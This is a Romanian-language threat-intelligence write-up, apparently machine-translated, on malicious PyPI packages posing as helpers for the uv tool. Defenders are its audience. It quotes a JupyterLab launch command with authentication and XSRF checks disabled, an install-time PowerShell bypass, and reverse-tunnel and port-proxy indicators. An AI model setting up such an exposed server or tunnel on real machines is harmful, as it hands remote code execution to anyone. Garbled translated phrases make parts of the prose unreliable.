TL; DR
Un grup de pachete PyPI a împrumutat numele de uv, managerul de pachete Python rapid și extrem de popular bazat pe Rust, să se prezinte drept ajutoare UV. Nu oferă aproape nicio funcționalitate reală. În schimb, transportă o utilă Windows care suportă... Server JupyterLab cu autentificarea dezactivată și, în versiunile ulterioare, îl publică pe internetul public printr-un tunel invers.
Asta e toată povestea într-un singur rând: un nume de instrument de încredere ca momeală și JupyterLab ca motor de execuție a codului la distanță. Un server Jupyter rulează orice cod pe care îl tastați într-un fișier not.ebook celulă; unul lansat cu un token gol și legat la fiecare interfață de rețea este un interpretor deschis pe care oricine poate accesa portul îl poate controla.
Urmărim clusterul ca FauxUVCele două pachete examinate sunt moon-uv (0.0.1-0.0.16) și my-magic-uv-helper (0.0.1), publicată de același operator și disponibilă pe PyPI la momentul analizei.
| SnowGem | PyPI |
| Pachete | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| Platformă vizată | ferestre din |
| Comportamentul de bază | Server JupyterLab neautentificat, publicat pe internet printr-un tunel invers |
| Instrumente legitime utilizate în mod abuziv | uv, JupyterLab, cloudflared, Pinggy |
Momeala: un nume în care deja ai încredere
uv este unul dintre cele mai instalate instrumente Python din ultimii doi ani, deci „un ajutor pentru uv„este un pachet pe care un dezvoltator îl instalează fără să stea pe gânduri. FauxUV își bazează în întregime credibilitatea pe acest nume. Pachetele încapsulează veritabil uv instalator de la Astral — adresele URL din sarcina utilă indică gazde reale, de renume — așa că o privire rapidă nu vede decât referințe de încredere. Niciunul dintre pachete nu adaugă de fapt uv funcționalitate; numele este întreaga deghizare.
JupyterLab ca motor RCE
Piesa centrală a sarcinii utile este un lansator care pornește JupyterLab după ce fiecare parapet este îndepărtat:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Fiecare steag elimină o protecție, iar scriptul livrat chiar le adnotează (în chineza originală): tokenul gol „dezactivează verificarea parolei și a token-urilor — oricine se poate conecta.” laborator jupyter este un IDE legitim pentru știința datelor, dar nuebook celula execută cod arbitrar prin design. Configurată în acest fel și legată de 0.0.0.0, încetează să mai fie un IDE și devine un shell la distanță neautentificat pe gazdă — nu este necesar un fișier binar malware personalizat, ci doar un instrument mainstream îndreptat în direcția greșită.
Două piese de susținere fac acest lucru accesibil și repetabil:
- Un declanșator de instalare silențioasă. Versiunile anterioare rulează PowerShell cu Executarea bypass-ului politic direct de la setup.py on pip install, în fundal cu erorile suprimate, astfel încât țâfnă arată normal. Versiunile ulterioare mută aceeași primitivă într-un pip-uv instrument din linia de comandă — și să renunțe complet la rularea automată din timpul instalării.
- Un tunel public invers. Un server pe 0.0.0.0 este încă accesibil doar de către gazdele care pot ruta către mașină. Un modul inclus deschide un [Pinggy](https://pinggy.io/) Tunel invers SSH care redirecționează portul Jupyter local către o adresă publică, eliminând această limită. Scriptul livrat transportă, de asemenea, — comentat — o cale alternativă folosind Cloudflare cloudflared și netsh port-proxy către un IP Linode, documentând același obiectiv printr-o infrastructură diferită.
Combinând toate elementele: instalați pachetul, o gazdă Windows va rula un JupyterLab fără parolă și îl va publica pe internetul deschis.
Cum a evoluat FauxUV
Versiunile FauxUV au fost livrate în succesiune rapidă, iar punctul de declanșare al sarcinii utile s-a mutat peste ele - o reamintire a faptului că o versiune semnalizată rareori spune întreaga poveste a unei linii de colete.
| Etapă | versiuni | trăgaci | Ceea ce adaugă |
|---|---|---|---|
| Instalare-cârlig | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py la instalarea pip | instalare uv + adăugare PATH la început |
| Runtime CLI | moon-uv 0.0.5-0.0.13 | pip-uv comandă | lansatorul JupyterLab fără parolă |
| Tunel | moon-uv 0.0.14-0.0.16 | pip-uv comandă | un tunel invers Pinggy activ |
În special, rularea automată la momentul instalării a fost îndepărtat în versiunile ulterioare, mai capabile — deci un scaner se activa doar pe durata ciclului de viață hooks ar evalua lansările mai noi ca fiind mai puțin riscant, exact invers.
Indicatori de compromis
Confirmat prin citirea sursei pachetului; punctele finale marcate a comentat sunt prezente în fișiere, dar nu sunt executate de versiunea analizată. Indicatorii de rețea sunt dezactivați.
| Tip | Indicator |
|---|---|
| Comanda de instalare | powershell -ExecutionPolicy Bypass preluarea programului de instalare UV original, în momentul instalării PIP |
| Steagurile JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Tunel invers (activ) | free[.]pinggy[.]io:443 redirecționare locală 127.0.0.1:8888 |
| Gazdă tunel (comentat) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (comentat) | 45[.]79[.]134[.]161 (Linode) prin intermediul netsh port-proxy |
| Persistență | prefixează %USERPROFILE%\.local\bin către CALEA utilizatorului |
Semnale comportamentale care merită să fie luate în considerare, independente de aceste șiruri exacte: a pip install care se naște powershell - Ocolirea politicii de execuție; orice jupyter lansează combinarea jeton=”” implementate cu –ip=0.0.0.0și SSH de ieșire către *.pinggy.io de la un dezvoltator sau o mașină CI.
Comportamentul observat și proveniența
Cele două pachete au în comun un autor și o metodă: un nume de instrument de încredere, control exclusiv pentru Windows, execuție în fundal cu suprimare a erorilor și dependență de instrumente reputate, astfel încât o privire rapidă vede doar adrese URL reputate. Sursa conține comentarii în limba chineză care descriu clar semnalizările relevante pentru securitate; le raportăm ca afirmații observabile în fișier, nu ca o afirmație despre motiv. permite_origină valoare și o colaborare.bat numele fișierului reflectă fluxurile de lucru informale de tip „partajare runtime locală” care circulă pentru Google Colab. Indiferent de origine, rezultatul ambalat este același.
Impact și îndrumări pentru apărători
Cine este expus la FauxUV. Dezvoltatori Windows și rulanți CI care pip install unul dintre aceste pachete. Un JupyterLab fără parolă pe 0.0.0.0 este execuția de cod la distanță pentru oricine poate accesa portul; tunelul elimină limita „cine îl poate accesa”. Serverul rulează ca utilizatorul care instalează portul, moștenind fișierele, token-urile și acreditările cloud ale acelui utilizator.
De ce este ușor să ratezi. Fiecare șir de rețele indică o gazdă reputată — Astral, JupyterLab, cloudflared, Pinggy, Colab. Nu există niciun fișier binar malware de hașat și nicio BLOB ofuscată de decodat. Scanarea bazată pe reputație și semnătură subestimează acest aspect, motiv pentru care întrebarea comportamentală — Ce face mașina prin instalarea acestui pachet? — este cel care îl prinde.
Orientare:
- Tratați orice moment de instalare powershell - Ocolirea politicii de execuție ca semnal de rupere a construcției, indiferent de adresa URL pe care o preia.
- Alerta asupra jupyter lansat cu un jeton gol și –ip=0.0.0.0; acea combinație nu ar trebui să apară niciodată pe o stație de lucru sau pe un rulant.
- Monitorizați SSH-ul de ieșire către furnizorii de tuneluri (*.pinggy.io, *.trycloudflare.com) din mediile de dezvoltare și de integrare continuă.
- Instalare uv din [sursa sa oficială](https://docs.astral.sh/uv/) și fiți sceptici față de pachetele „ajutor” de la terți care încapsulează un instrument deja ușor de instalat.
- Fixați și revizuiți dependențele la actualizare — o linie de pachet poate dezvolta noi capabilități versiune după versiune.



